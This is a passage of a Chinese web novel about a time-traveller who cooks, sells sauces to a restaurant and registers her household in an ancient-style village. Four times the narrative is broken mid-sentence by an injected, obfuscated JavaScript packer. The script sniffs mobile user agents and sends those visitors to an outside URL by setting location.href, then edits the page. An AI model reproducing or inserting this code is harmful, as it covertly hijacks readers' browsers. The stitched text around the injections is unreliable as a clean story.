“厨房有豆腐吗？若是没有，可以去菜市一条街那里，买一块方嫂的豆腐，她的豆腐味道不错。” 罗娘子听云音要教她做榆钱，只微微一惊彷佛明白什么，连忙扬起笑脸道：“那就多谢云娘子，我带你去厨房。” 罗娘子领着人去厨房，又招呼一婢子去买豆腐，笑眯眯给云音介绍厨房。 买回来的豆腐切成小块，焯水放在一旁备用，洗净的榆钱切成小段一起放入碗中，大蒜也切成蒜沫，前期准备工作就做好了。剩下是最重要的调酱汁，酱汁其实也很简单，用酱油、香醋、蒜沫搅拌，因为这个朝代没有辣椒这种作物，只能用花椒油替代，再加点盐，料汁就调好了。 将料汁倒入豆腐和榆钱中，一道简单的凉拌小菜就做好了。云音将拌好的菜递给一直站着旁边的罗娘子道：“你尝尝看，如何？” 罗娘子取一双筷子先尝一口，豆腐的爽口让她眼前一亮，这豆腐看着有些老，但尝起来却非常嫩。豆腐上粘着些许榆钱，让豆腐多了清爽的口感，配着料汁，滋味更加丰富。 “味道不错。”罗娘子又吃一口，点头道，“多谢云娘子教我，这道菜应该很受读书人欢迎，口感特别清新。” “其实香椿拌豆腐也是可以的，不过香椿和豆腐要过水，用刚刚的料汁凉拌，味道也非常美味。方嫂的豆腐很好，凉拌也很好吃。”云音把砧板洗干净，放下袖子对罗娘子道，“对了，那些春笋炖肉也很好吃，罗娘子可以试试。” 其实春笋炒肉也很美味，可她刚刚看过，罗娘子家的饭馆没有用铁锅，都是大釜，所以她也就只提了一句炖肉，没再说其他。 罗娘子将筷子放下，带着云音回到方才的院子，给她倒一杯茶道：“是我眼拙，竟然没有看出娘子厨艺这样好，不知娘子可否来我们饭馆做事，我们饭馆如今需要娘子这样的人。” 云音喝茶的手微顿，她如今还是流民身份，她可是跟方嫂打听清楚了，摆摊只要不被抓到也没人知道她是流民，若是做工或者租房子都是要出示户籍的。 而且镇上的帮闲也经常在附近巡查，今日她就差点被发现，好在她落落大方，又跟方嫂在一起，那些帮闲就算觉得她是陌生人，也没觉得她是流民。 她如今最要紧之事就是赚银子落户籍，等落完籍，她打算在官道旁开一个小饭摊，这样也能安顿下来。 她也不是随意选的地方，平溪镇她也看了，并不富足，能有罗娘子这家饭馆已是极限，她再来镇上做饭馆生意，不仅与罗娘子交恶，也赚不到什么。 还不如官道那边，那里距离县城有些距离，到镇上也不方便，附近也没其他吃饭的地方，在那里开小饭摊是极为便利的。 而且那条官道还是长安到绵州的其中一条路，经常有商队往来，所以在那里开店更好。 不过虽说不能在罗娘子这里做工，但也可以与她合作一二。 她放下茶杯道：“做工就不用了，你们家饭馆生意这么红火，手艺必定也不差的。不过若是罗娘子喜欢我的手艺，我倒是有一门生意可以与娘子合作。” 罗娘子惊讶看向云音，过了半晌才道：“不知是什么合作。” “好叫罗娘子知晓，我有一门做酱的手艺，若是娘子还瞧得上，不如我明日带来你瞧瞧，若是觉得味道可以，我可以给你们饭馆供货。” 罗娘子仔细打量云音一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178740|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼，见她是认真的，思考片刻还是答应：“既然如此，那云娘子明日来镇上时，再给我们饭馆带一筐榆钱吧，若是有香椿，我们也要。到时候我也尝尝娘子做的酱，若是味道好，我们再谈合作之事。” “云娘子也别叫我罗娘子了，叫我阿蔓姐吧，以后我也叫你阿音妹子。” 云音笑着点头道：“那多谢阿蔓姐，那我先走了，明日再来找你。” 罗蔓挽留她：“不如留下吃个饭吧。” 云音想着一会儿要办的事情还很多，婉拒道：“明日再来与姐姐吃饭，我今日来镇上还有事要办，就不麻烦阿蔓姐了。” 罗蔓见云音确实还有事，也不再强留她：“行，那明日我请你吃我们家有名的炖羊肉，你可一定要尝尝。” “一定一定，阿蔓姐明日见。” 与罗蔓告辞，云音拿着空竹篮和350文先去卖包子的地方，她一早注意到这家包子摊，之前路过时被这香喷喷的味道吸引，要不是实在没钱，她早买一个尝尝味道了。 此时的包子摊远没有早上时那么多人，如今正是吃午饭的时候，大多人都回家吃饭，即便有在外吃的，也不会选择来包子摊，基本都会去罗娘子的饭馆。 云音去的时候，那摊主还没收摊，她连忙让摊主给她一个肉包，只略微一闻就知道错不了。包子皮薄松软，肉馅鲜嫩多汁，里面还放有香葱去腥，一口下去只觉得满口生香。 云音两三口就把一个大包子吃完，也只是微微解了腹中饥饿，她迅速又买了两个吃下，这才有了饱腹之感。 云音看着还冒着热气的蒸笼，还想再买几个留着晚上吃，但想到如今铜钱不多，要买的东西还有好多，哪怕一个包子只要3文，那也负担不起。更何况还要负责张林的饭食，他一个大小伙儿，吃的只会更多，她摇摇头放下包子，去隔壁卖胡饼的摊子买了20张胡饼。 这家胡饼的味道也很香，特别是上面的芝麻散发出的香味，让刚刚才吃饱的云音又有了食欲。她一边走一边啃着胡饼，想着这胡饼以后可以多买点，既不贵也好吃，20张胡饼也不过20文钱。而且还能放几天，要吃时只需加热即可，也很方便，还可以夹着蘑菇酱一起吃。 云音如今没有多少本钱，置办不了太多厨具，她还要买许多生活用品，钱也不能乱花，思考清楚后她走进镇上唯一一间杂货铺。 在杂货铺买了生活用品，又去买两把刀和煮饭用的釜，再买了陶罐、木箱和锁，就不剩多少钱，剩下的钱也就够她买一点米和一斤猪肉。 看着口袋空空，云音不禁长叹一口气，她觉得她应该是穿越里比较惨的一拨人，谁穿越后跟她似的，又没钱又没房，还是个流民。就算她有武艺，想学别人打猎，也没那个本事，连猎物在哪里都找不到，那几只竹鼠还是运气好碰上的，还不知日后能不能再抓到。好在她有厨艺傍身，如今也只不过凄惨一点，等与罗娘子达成合作，应该会好很多。 云音对以后的日子充满期待，提着满满当当的东西往镇外树林方向走。 5. 第5间客栈 此时早已过午饭时间，估计张林肯定等急了，云音迅速往树林深处走去。 林中只有鸟雀叽叽喳喳的叫声，云音顺着树林一直往前，走到那个大树下，叫了许久都没有听见人回应。 云音还以为张林出事了，正打算上树去看看时，就听见一声“哎哟”声，原来是张林刚刚醒来，差点掉树下，不过因为被绳子绑住，所以并没有真的掉下来。 云音一脸无语把他放下来道：“你还真是的，这都能睡着。” “要是我没绑紧，你摔下来可是没了半条命。” 张林揉揉胳膊笑嘻嘻道：“这不是没事干，左等你不来，右等你也不来，我只能在树上睡一觉。” 云音把鞭子绑回腰间，递给他一张胡饼道：“行了，跟我走吧。” 张林看到这张还冒着热气的饼，咽了咽口水道：“云娘子，这真的是给我的吗？” 云音见他一副可怜样，点头道：“吃吧，吃完还有，晚上你还能吃竹筒饭。” “跟着我不会让你没饭吃，所以说以后别再干这种事，一丁点念头都不要想。” 张林一口咬掉大半张饼，连连点头道：“我知道了，云娘子，我不会了，以后我跟着你干，你让我做啥就做啥，只要你给饭吃。” 云音满意道：“行，那走吧，先去帮我建一个茅草屋。” 云音带着张林回了她之前选好的坡地，指着下方平坦地方道：“就在这里建一座茅草屋，你多久能建好。” 张林没有多问，也不想云音为何要在这里建造茅草屋。他吃饱后看着这一块地方，想了想道：“如果只建一间，加上做土坯，晒茅草，我一个人需要十日才能建好。” 云音递给他一把砍刀道：“你去砍树吧，回来时顺便砍一根粗点的竹子回来，我晚点做竹筒饭用。” 张林听到竹筒饭，眼前一亮，接过砍刀道：“娘子放心，我一定帮你把屋子建造的又好又结实。” 云音看着他进山，这才重新生火，烧热水把买回来的罐子洗干净，等罐子干透，把所有蘑菇酱装到陶罐里。 放好陶罐，云音用草木灰把玻璃罐洗干净，晾干后装到买回来的木箱中，那几本书也一起放入。全部收拾妥帖，确定不会碰撞后，把箱子锁起来放入之前的灌木林中。 这些罐子在古代可是贵重东西，若不到万不得已的时候，她是不想用这罐子换钱。小心驶得万年船，即使如今有玻璃制品，也绝对没有这样的工艺，她一个连户籍都没有的人，还是小心点好。 等一切收拾好，张林还没回来，云音继续整理蘑菇酱。明日要去罗蔓那里，可以先给她带一瓶素蘑菇酱，一瓶肉蘑菇酱尝尝。 至于鸡枞油，她只有一瓶，而且以后不一定能再有，这个就留着自己吃。剩下的辣的蘑菇酱就更不能给，她打听过，目前还没有辣椒，她这些辣酱可是绝无仅有的。 想到许久都不能吃辣，无辣不欢的云音有些郁闷，这些辣酱也留下自己吃。 总共整理出三十瓶肉酱，十瓶素酱，云音把明日要给罗蔓尝味道的放一边，其他的单独收好明日一起带上，若是罗娘子不要，就需要找另外的客户了。 看着摆了一地的盆盆罐罐，云音只觉得满足，这都是她挣回的家当啊。 恰在此时，张林拖着树木和竹子回来了，云音上去帮忙，将东西都扔下后，递给他一碗水道：“喝吧，这是我刚烧的。” 张林一口气喝完，摸一摸嘴角的水渍道：“多谢云娘子。” 云音看一眼他选的竹子，还算合适，她点头道：“你休息一会去挖河泥做泥胚，我去掰点竹笋，晚上吃竹笋猪肉竹筒饭。” “好，娘子去吧，我在这看顾东西。” 云音点头提着篮子快速进山。 说实话她并不担心他带着东西逃跑，这一路她一直在观察他，别看张林长的壮实，但其实人很憨厚，有点小机灵，但也不多。 等她给了他饼子，还不限制他吃多少时，他更是一脸以后就跟着你混的样子。 据他说，从前在家时就因为吃得多，被家人嫌弃。后来逃荒家里人都死了，他便跟着同乡逃，可也因为他吃得多，不受人待见。 云音想到他一口气就吃掉十张胡饼，嘴角抽搐下，也不怪别人嫌弃他，吃的确实多。 好在十文钱的胡饼她还是能承担的，等之后自己做饭，就更划算了。 云音一边走一边盘算之后的事，很快就到了采竹笋的地方，她“咔嚓咔嚓”两下便采到今日要用的分量，又另外采一点榆钱，打算煮个汤。 云音回到山坡时，张林已经在做泥胚了，因为没有稻草和麦秸，所以他用茅草代替的。 云音看了一会不打扰他踩泥，去另一边准备做木桶饭的竹子。 张林还是很细心的，砍回来的竹子已经去掉枝杈，她只需要把竹子砍成砍成小段，再去河边清理干净就能使用。 竹子准备好，她把买回来的米用清水浸泡，又把五花肉切成小丁，用姜蒜和盐腌制好，就继续处理竹笋。 竹笋需要焯水处理才能食用，这样能去除笋里的涩味。云音用刀轻轻划一下竹笋，用手指卷着很容易就将整根竹笋剥下来。 这时候肉也腌制的差不多，把这些肉放到釜里炒一会儿，等变色后将焯水后的竹笋丁也放进去一起炒，最后加入蘑菇酱翻炒就差不多。 如今食材简单，其他木桶饭做不了，也没有腊肉，只能简单做一点，好在她手艺不错，哪怕只是简单配料，闻起来也很美味。 云音把装好的竹筒放在火上烤着，又另外烧一锅水，拿出单独放着的两颗鸡蛋，打散撒一点盐，搅拌均匀，等小釜里的水开，将鸡蛋液倒进去。 这鸡蛋还是云音离开镇子前，用最后三文钱买的，买了鸡蛋那真是一点钱都不剩了。好在物有所值，看着已经冒泡的鸡蛋汤，接着倒入洗干净的榆钱，稍等片刻加盐出锅。 张林在云音炒肉时，就时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178741|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不时往她这边看，直到她煮汤，闻到香味，顿时连干活都不能专心了。 云音见他一直张望，拿出一个陶碗招呼道：“过来喝吧，竹筒饭还需要点时间，先喝碗汤休息休息。” 张林连忙洗干净手脚，坐到云音对面，接过碗来不及道谢，就一口气喝光了。 云音看着他一口吞下，担忧道：“这么烫，你没事吧。” 张林回味一下刚刚那味道，没尝出什么味道，只觉得清清淡淡中隐隐透着些甜味来。 他说不出来什么味道，只是觉得好喝，这一碗看着很平常的汤，就连榆钱他也不是没吃过，可是从来没觉得有这么美味。 张林摇摇头道：“我没事，只是从前抢吃的习惯了，一时半会儿没反应过来，这汤真好喝，我还能再喝一碗吗？” 云音接过他碗，又给他盛了一碗道：“你想喝多少就喝多少，只要你能吃得下去，慢慢喝，等会还有竹筒饭呢。” 张林连忙双手接过，这一次他不再那般急切，开始慢慢品尝起来。 云音没有再看张林，她也端起一碗汤品尝起来，汤很爽口，因为没有加淀粉，所以一点也不稠，热乎乎的汤顺着入喉，抚平她今日所有疲惫。 等一碗汤喝完，她还有些意犹未尽，而这时竹筒也随着火烤渐渐沁出香味，等竹筒颜色变得焦黄时，竹筒饭也就熟了。 云音将熟透的竹筒饭放到篮子里，从中拿一个劈开，一股清香瞬间就冒出，不过片刻她鼻子就被这股竹香弥漫，她夹一筷子吃进嘴里，油香、竹子香、蘑菇香的味道融为一体，让她吃了还想吃。 云音吃了两个，将剩下的竹筒饭递给张林道：“这些都是你的，若是还不够，我这里还有胡饼。” 此时张林刚刚吃完一个竹筒饭，连连点头道：“多谢云娘子，你做的饭真的太好吃了，你之前说的包吃是真的吧。” 云音看他吃的狼吞虎咽，又递给他一碗汤道：“自然，你安心帮我干活，以后不会缺你吃的。” 张林喝一口汤，一口饭，笑着道：“那我就放心了。” “云娘子，你什么时候去给我上临时户籍，这样我就能与你签契书了。” 云音挑了挑眉，她都还没把户籍落下来，怎么可能与他签契书。她指了指那边的泥道：“看你表现，表现好，我就尽早与你签用工契书。” 张林迅速吃完饭，回到泥堆边道：“云娘子放心，我肯定用心干活。” 云音摇摇头把所有锅碗洗刷干净，放到一边，拿着刀去河另一边割茅草。建茅草屋也不能都靠张林，虽然她不会建屋子，但帮忙割一些茅草也是可以的。 他们二人一个做泥胚，一个割茅草，等天色暗下来时，云音已经割了不少茅草，而张林也已经开始夯土了。 因为只有他一个人做，速度并不快，不过云音也不着急，茅草屋没建好时，先在外面将就一二。至于张林，就让他去官道旁的茅草屋住着，顺便也能打听打听情况。 6. 第6间客栈 天色逐渐黑透，只能从跳跃的火光中看到还在干活的二人。 云音叫住还打算继续夯土的张林道：“先去洗手洗脚吧，明日再做。” 她看了看天色，月色皎洁星光闪烁，明日应该是个晴天，她递给张林一个装着热水的竹筒道：“你今晚去官道旁的休息，若是有夜宿的行商人，就打听打听情况，看看这条官道的人流量如何。” “嗯，我会找人打听的，不过这条官道是北江县通往龙安县唯一的官道，人流应该还不错。”张林握着热乎乎的竹筒，踌躇片刻道，“娘子，若是我被人发现是流民怎么办，还有之前的官差来抓我该咋办？” “他们上次就是在这里抓到我们的，说不定还会派人过来。” 云音：“你知不知道什么叫最危险的地方就是最安全的地方？” “再说大晚上的，谁还来抓你了，官差也是要休息的。” 云音看了眼他的衣服道：“不过你这衣服确实需要补补，你会针线活吗？” 张林连忙摇头道：“这我哪里会啊，以前都是娘给我补的，后来逃荒更不会在意，大家都穿的破破烂烂，能稍微遮挡身体就行。” “行吧，你脱下来我看看。”云音拿出今日买的针线，接过张林的衣服，仔细比划一下，小心缝补起来。 虽然云音缝补手艺一般，但将就着穿一穿还是没问题的，她把补好的衣服还给张林道：“等赚了钱，我给你买衣服。” 张林的眼泪瞬间就流下来，他一边抹泪一边道：“云娘子你对我真的太好了，我娘也就如此了。” 云音可不想给他当娘，给他点吃的穿的就说她好，若不是张林不愿入贱籍，怕是早就被人骗得皮都不剩了。 她挥挥手赶他道：“把脸洗洗干净，然后去休息吧。” 等张林走后，云音继续收拾收拾，在地上铺一层干净的茅草，也洗洗睡了。 而另一边的张林确实是刚在茅草屋坐下，就听到一阵马蹄声踢踏而来，张林起身探头探脑张望，一群腰佩横刀护卫簇拥着马车在官道边停下。 那群人早就发现张林，不过是看只有一人，还没有佩戴武器，这才没管，等所有人下马生起火堆后，才有一人问张林：“小郎是去镇上还是回乡？” 张林见有人问话，连忙上前招呼他们道：“我叫张林，这不是天晚了，在这里休息休息，诸位是去龙安县的吧。” 那与他搭话的人摆手道：“不是。”但具体去哪里他并未说出口。 张林一边跟他们闲聊，一边拿出准备的木柴，帮忙添柴道：“对了，郎君我想问问，平时这条道上的人多么？” “你不知道？这条道路是长安通往绵州最快的道路，你说人多不多，也有很多人会把绵州的丝织品运到长安，平时路上的人可多了，我们还是走的慢了，不然今晚也不至于在这里停留。” 张林表示明白，又与他闲聊几句，分开各种睡下。 翌日天刚亮，那群商人便走了，张林等人走远才跑回山坡上叫道：“云娘子，云娘子。” 云音刚练完拳，听到张林使劲叫唤，她烧一釜热水，然后回道：“一大早的叫什么？” “我打听清楚了，确实有不少商人都会经过这里，不过也只有极少错过住宿的商队才会在这里停留，娘子是有什么打算吗？” 云音道：“我打算在这里开个饭摊，先看看这里路过的人多不多。” 她听他提起这次经过的商队有几十人，她想到昨日遇到的那个商队也有几十人。她盘算一下就算只做早食和晚食，也足够了。 她烤好胡饼道：“吃完饭，你去那茅草屋边上搭建两个灶台，顺便建一个遮挡风雨的棚子，我去一趟镇上，午食你先抓条鱼吃着，晚上给你做好吃的。” “那这边的茅草屋不建了吗？”张林一边啃着饼子一边道。 云音提着筐子进山，挥挥手道：“先把那里的灶台建好，这里的屋子之后再建。” 她已经在野外住了一晚上，如今晚上天气不算冷，烧一堆火还能过一晚上。虽然她有蘑菇酱可以用来换钱，但落户籍要两贯钱，还不知够不够，早日把饭摊开起来，也有些进项。 云音找到昨日摘香椿的地方，一夜过去香椿并没有长多大，她又在附近找了一会儿发现另外一棵香椿树，比之前那个还大。 她摘一些送给罗蔓，剩下自己留着做点香椿酱，这个酱拿来拌面吃特别香。 香椿榆钱都摘好，云音带着一篮子蘑菇酱与张林说一声，让他看着些东西，然后前往平溪镇。 至于昨天装好的玻璃罐和书，她早趁着昨晚藏到山里了，这里剩下的锅碗瓢盆虽然不贵重，但也是她所有家当，自然需要有人看着些。 这次到镇上的时间还早，罗娘子的饭馆才开，她便到了，云音随着罗娘子去了另一个房间，放下篮子对她道：“阿蔓姐，麻烦你了，我把蘑菇酱带来了，你尝尝味道。” 云音打开一罐素蘑菇，一罐肉蘑菇，给罗蔓品尝。 还没打开时，罗蔓已经隐约闻到一股香味，打开之后香味更加浓郁，弥漫鼻尖久久不散。 两种蘑菇酱各用碟子装了一点，罗蔓每一样都尝了一口，连连点头道：“我果然没看错娘子，娘子手艺确实好极了，咸鲜带着清甜，是一道极为下饭的好酱。” “不知娘子有多少。” 云音把篮子放到桌上道：“如今现做的就这些，若是阿蔓姐以后还需要，我这边也可以继续做。” 罗蔓打量这一篮子酱，斟酌后道：“这些我都要了，不知娘子想卖什么价格。” 蘑菇酱的价格云音确实已经想好，之前她看过杂货铺的酱都是50文一斗，不过她的酱里面有肉有油还有蘑菇，里面也放了大酱，拿来下饭特别香，价格肯定不会便宜。 “阿蔓姐，我也直说，这酱的成本不低，所以售价也会高一些。”她指着一罐素酱道，“这素酱一罐大概有一斤，所以是50文，肉酱要70文，肉的价格太贵，这个价格已经很优惠了。” 罗蔓看着桌上摆的酱，点头道：“确实不便宜，一般农户当真是吃不起，不过好在能来饭馆吃饭的人，都不是什么穷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178742|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，这点价格对他们不算什么。” “总共四十瓶酱，我给你2600文，你算算没错吧。” 云音摇摇头道：“那两瓶开过的，当我送给阿蔓姐的，你给我2480文就好。” “你叫我一声姐，我也不会让你吃亏。”罗蔓叫了人过来把这些酱收到厨房，问她，“你要铜钱还是银钱？” 云音等那婢子走了才问罗蔓：“阿蔓姐，你知道落户籍时，里正是收银子还是铜钱？” “原来妹子是想要落户籍啊。”罗蔓想想道，“那我给你官银吧，这个银贵重，你落户籍用这个比较方便。” “妹子打算把户籍落在哪里？” 云音描述她所在的地方，“那一片区域属于哪里？” “那里是临江村，妹子要在那里落脚需要去临江村找里正，他管理临江村和平江村，如今他正住在临江村。” “临江村吗？”云音收好罗蔓给的银子，与她告辞道，“多谢阿蔓姐，若不是你，我还不能这么快落户籍。” “这些香椿与榆钱你就不要推辞了，这些东西也不值什么钱，还希望你能收下。” 罗蔓拒绝一二，见她实在诚心还是收下了，并未问她，一个未婚小娘子为何要在此地落户籍，左不过是些悲惨之事，她只是笑了笑道：“望你一切顺利。” “今日我就不留你吃饭，早日把户籍落下才安心，等你下回来镇上，一定要来寻我，我请你吃饭。” 云音笑着点头，与罗蔓告辞后前往临江村。 临江村的位置很好找，因靠近平江所以叫做临江村，他们隔壁村因为人多，所以抢到了平江村这个名字。 云音提着篮子，顺着阿嫂的指引往村里最好的那栋建筑走去，还没走进，就听见一小娃清脆地读书声：“天地玄黄，宇宙洪荒……” 云音听着这熟悉的千字文，不禁笑了起来，看来哪怕这里并不是大唐，只是一个陌生的朝代，也是有着诸多华夏文化传承。 她正要往正门去，听见一女子道：““孩子他爹，过两天又是大集，我们把攒的鸡蛋换些铜钱，多攒点钱送二郎去念书吧。” “你也看到了，他如今已经会念千字文，这还是大郎每旬回来教他的，若是他也跟大郎一样去念书，一定不会比他差多少的。” “哎，我也想送二郎去念书，可你也知道我们家没么多钱能供两个娃娃读书。”那男子叹口气道，“况且大集能用铜钱的人很少，还不如多攒点去对面镇子上换呢。” “我也想去镇子，可坐船要3文钱，走路要走半时辰，家里事情那么多，我哪有那么多时间就为一篮子鸡蛋跑这一趟啊。” “哎，要是让大柱叔帮忙就好了，他经常去镇上。” “千万别。”男子赶紧阻止，偷偷看一眼屋外，小声道，“要是让爹知道，他肯定揍我。” “我们爹好歹是里正，找大柱叔帮忙卖鸡蛋，这种事想都别想。实在不行等农忙过去，我去一趟镇子。” 云音听到这里就没再继续听，连忙走到正门喊道：“孙里正在吗？” 7. 第7间客栈 屋里说话声顿时停下，那女子快步走出来问道：“你有啥事？我阿翁去地里了，等会就回来。” “妹子进来喝杯水吧。” 云音把篮子放在一边，随这女子进屋道：“多谢阿嫂，我来找孙里正落户籍。” “原来是这样，那你坐会儿。” 云音接过她递过来的水，跟她打听：“不知阿嫂如何称呼，我落完户籍后打算开个饭店，不知哪里可以买到便宜的蔬菜鸡蛋？” 云音早在听到二人谈话时，就有在这村子收购蔬菜的打算。 毕竟这村子离她住的地方最近，若是划船过来，一会儿功夫就能到，就算走路也不过半个时辰。 比去镇上近多了，至于县城，那就更远了，除非她所需的东西镇上没有，否则她是不会专门跑到县城的。 况且她在这个村子落籍，与村里的人打好交道也是应该，别的暂时还做不到，找他们买点食材还是可以的。 那嫂子听到云音需要蔬菜鸡蛋，眼前一亮道：“妹子叫我一声钱嫂子就好，妹子可是问对人了，我们村子啥都缺，就是不缺蔬菜鸡蛋。不知道妹子需要多少？” 云音了解清楚价格后，满意点点头，比她去镇上买的便宜。 她笑了笑道：“价格挺合适的，不过我需要先把户籍落下来，才能再跟你谈数量。” 钱嫂子连连点头道：“我懂得，你放心，只要交了银钱，都能落户籍，我们村是我阿翁做主，他必定能给你办好。” 听到这嫂子打包票的话，云音连忙道谢。 恰在此时，身后传来一道苍老的声音：“谁要落户籍？” 云音回头看去，一个头戴幞头，身穿圆领长衫的老者背着手从外面进来。 她起身行礼道：“孙里正，是我要落户籍。” 他看一眼云音点头道：“你等我一会儿，我去拿纸笔。” 孙里正还没走进房里，他儿子就拿着纸笔出来了，他瞥一眼儿子接过纸笔道：“你怎么这时候在家，田里的活儿都干完了？” 那男子抬头看一眼老爹，见他不是真的生气，连忙嘿嘿一笑道：“我这就去田里，爹你招呼客人。” 说完给他娘子使个眼色，立刻三两步跑出屋外。 钱嫂子也很有眼色，立马对孙里正道：“阿翁我去做饭。” 她也一溜烟跑远了，最后只剩下云音与孙里正二人，孙里正拿着纸笔坐在大堂其中一张椅子道：“让你见笑了，不知云娘子是哪里人。” 云音说了张林家乡的信息，等着孙里正记录。孙里正写完她的详细信息，又将她的面貌记下，这才对云音道：“钱带来了吗？” 云音把准备好的二两官银递给孙里正，孙里正仔细检查她给的银子，满意点头递给她一张刚刚写的手实道：“我已经将你的信息记录，你以后就是临江村的人，若是以后买地买房，都需将这凭证带上。” 孙里正收起纸笔道：“既然你落户我们村子，那我也与你说清楚，因你是女户，所以永业田只有十亩，这个除非特殊情况，一般是不许售卖的。” “至于口分田是没有的，希望你能知道。” 大昭实行均田制，成丁每人受口分田八十亩，永业田二十亩。女子一般是不受田，除非家里无丁。 云音的情况一是家里无丁，二则是她出了二两银，所以里正可以给她受田，但也只有十亩。 不过云音已经满足，只要能落籍，她也能安心在这里活下去。如今还能意外得到十亩地，哪怕是没有开荒过的露地，她也很知足。 云音听孙里正说完，要给她分田时，开口询问：“里正，听说翻过山靠近官道的那片地也是属于你们村子的，不知道我能否分那里的地？” 孙里正认真想了许久才想起来道：“你说那片山谷啊，那确实是属于我们村子，不过那里离我们村太远了，而且能耕种的地方不超过一百亩，开垦起来太不方便，所以才没人在那里居住。” 孙里正打量云音一眼道：“你想要那里的地，是打算在那里居住吗？” 云音点头道：“确实有这个打算，我也跟钱嫂子说了，我打算开个饭摊，以后还需要从村子里购买蔬菜鸡蛋呢。” 孙里正回头打算瞪他儿媳妇一眼，却忘记他儿媳妇早已经不在这里。他摸摸胡子道：“既然如此，那我就给你分那里的田，宅基地你也可以在那片地方选一处。” 云音想到一事继续问：“不知若是把那片地买下来需要多少银子。” “按说荒地露地都是不能售卖的，不过那片地方你也知道，对我们村子来说确实是不方便，你若是想要，我收你十贯钱，那片山谷都归你所有。” “不过你买了可是要缴纳赋税的，虽然荒地三年不用缴纳，但100亩地也是一笔不小的税了。” 云音笑笑道：“我知道了，多谢孙里正，那我先种那十亩地，若是日后需要，再找你购买。” 说完这些事，云音想起张林来，本来已经抬起的脚又放下来问：“对了，孙里正，我想给我同乡办个临时户籍，找你可以办理吗？” 孙里正点头道：“可以，不过需要你将人带过来，我这边需要登记他的样貌以及详细信息，登记成为临时户籍，他可以去作工，不过我这边仍要记录清楚。” 云音表示明白，与孙里正聊完，正打算去找钱嫂子再聊一聊时，正好遇到进来的钱嫂子。 “嫂子，我如今也是你们村里的人，你可一定要帮我把把关啊。蔬菜要给我新鲜的哦。”云音拉着钱嫂子的手道，“我这边需要一些鸡蛋，青菜，葱姜，还有米面。价格就按照你之前说的哈。” 钱嫂子偷偷看一眼阿翁，见他并没有反对，连忙高兴道：“这是自然，我肯定给你最新鲜的。” 钱嫂子正要去给云音拿菜，云音拦住她道：“不着急，我还需要把我同乡带过来申请个临时户籍，等下午的时候再来找你买。” “不过嫂子家里有酸菜吗，我可以找你买点。” 钱嫂子点头道：“酸菜有的，你要多少。” 云音跟着钱嫂子去了厨房，买了一点酸菜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16178743|180850||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、香葱以及花椒，最后想想还是找钱嫂子先买了几个鸡蛋，这才提着篮子与他们告辞。 她的速度很快，还不到半个时辰就到了那处官道路口，此时的张林还在卖力干活，并没有第一时间看见云音。 云音走到张林面前出声道：“做的不错啊，这不是要做好了。” 张林在顺着茅草屋的方向搭建一个竹棚，又在棚子下面建灶台，如今棚子已经搭建完成，他也建好一个灶台，正在搭建另一个。 云音表扬道：“速度挺快的，看来确实没有偷懒。” 张林听见云音的声音，一脸兴奋道：“云娘子，你回来了，你再等我一会儿，马上完成了。” 云音放下篮子道：“你吃午食没？” 张林摸摸肚子道：“哎呀，你不说我都忘记了，还没吃呢。” 云音看看天色，已经不早了，立刻道：“我去做饭，你休息一会儿吧。” 张林看一眼还差一点就能完工的灶台道：“我把这点做完就休息。” 云音见确实马上就要完工，没再说什么，提着篮子走到湖边，抓了一条鱼处理干净，提着带回山坡。 此时山坡还是她离开前的样子，看来张林从早上开始就没来过这里，她生了火先把饭煮起来。 鱼处理起来也很简单，从尾部横切将鱼片下，用同样的方法把下半部分也片好。将片下的整片鱼片成一片一片，鱼头单独放好，鱼骨则切成一块一块。 酸菜也洗干净切碎，等米饭煮熟后，她用油煎一煎鱼骨鱼头，盛出再倒入姜蒜花椒，炒出香味，加入酸菜煸炒，最后倒入热水烧开，放入鱼头鱼骨熬汤。 鱼片也用酱油，盐，鸡蛋清腌制一番，等锅内汤汁熬出味道后，把腌制好的鱼片一一放入。 等张林过来时，闻到的就是着一股酸酸麻麻的香味。 